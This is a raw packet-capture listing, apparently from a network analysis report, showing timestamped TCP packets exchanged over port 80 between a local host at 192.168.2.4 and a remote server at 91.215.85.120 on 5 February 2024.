Feb 5, 2024 10:57:21.748174906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748177052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748191118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748202085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748203039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748214006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748220921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748228073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748240948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748250961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748272896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748298883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748334885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748353958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748367071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748378038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748410940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748428106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748440027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748450994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748461962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748492002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748521090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748533010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748552084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748564959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748575926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748594046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748637915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748651028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748661995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748673916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748688936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748707056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748718023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748739958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748779058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748784065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748797894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748835087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748836040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748900890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748929977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748941898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748953104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748965025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748991966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749008894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749043941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749048948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749067068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749087095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749099016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749103069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749154091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749166012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749186993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749212980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749216080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749228001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749241114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749252081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749268055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749294996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749294996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749339104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749351025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749383926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749393940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749428034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749429941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749444008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749500990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749512911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749536037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749558926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749586105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749598980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749609947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749622107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749633074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749639988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749663115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749712944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749726057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749737024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749747992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749773979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749792099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749805927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749818087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749830008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749861956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749878883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749893904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.749932051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749943972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.749974966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750006914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750020027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750030994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750040054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750068903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750077009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750085115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750118017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750128031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750139952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750166893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750185966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750199080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750211000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750237942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750256062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750293970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750296116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750309944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750339031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750374079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750386953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750418901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750431061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750431061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750463009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750492096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750503063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750516891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750530005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750536919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750565052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750606060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750617981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750629902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750642061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750652075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750665903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750679016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750729084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750772953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750783920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750797033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750808001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750808001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750838041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750853062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750878096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750889063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750901937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750914097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.750926971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750953913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.750996113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751008987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751049995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751080990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751092911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751108885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751121044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751143932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751147985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751171112 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751211882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751224041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751235008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751260996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751286983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751315117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751327038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751339912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751357079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751363993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751390934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751466036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751477957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751488924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751501083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751511097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751530886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751534939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751558065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751574039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751578093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751590967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751614094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751626015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751636982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751647949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751647949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751672983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751691103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751702070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751795053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751806974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751821995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751836061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751840115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751852989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751859903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751877069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751885891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751909018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751920938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.751939058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.751988888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752002001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752012968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752037048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.752043962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752063036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.752079964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752103090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752114058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.752130032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.752160072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.985997915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986018896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986027002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986040115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986124992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986145973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986160040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986171007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986183882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986196995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986216068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986216068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986243963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986246109 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986258030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986269951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986280918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986301899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986320019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986432076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986444950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986455917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986466885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986476898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986490011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986499071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986504078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986516953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986527920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986540079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986552000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986562967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986563921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986562967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986577988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986589909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986598969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986598969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986613989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986625910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986629963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986637115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986663103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986680031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986682892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986692905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986705065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986742020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986764908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986808062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986823082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986835003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986846924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986859083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986870050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986881971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986895084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986902952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986910105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986928940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986942053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986943007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.986975908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.986978054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987020016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987044096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987056971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987067938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987077951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987101078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987109900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987114906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987127066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987135887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987164974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987242937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987268925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987281084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987318993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987361908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987426996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987442017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987452984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987493038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987504959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987519026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987549067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987584114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987596035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987607002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987618923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987632990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987658024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987715960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987729073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987790108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987790108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987806082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987817049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987828016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987833977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987840891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987854004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987869978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987890005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987912893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987925053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987936020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987946987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.987961054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987982988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.987984896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988002062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988013983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988051891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988054037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988071918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988081932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988092899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988104105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988116026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988122940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988145113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988166094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988168001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988183022 CET	80	49735	91.215.85.120	192.168.2.4
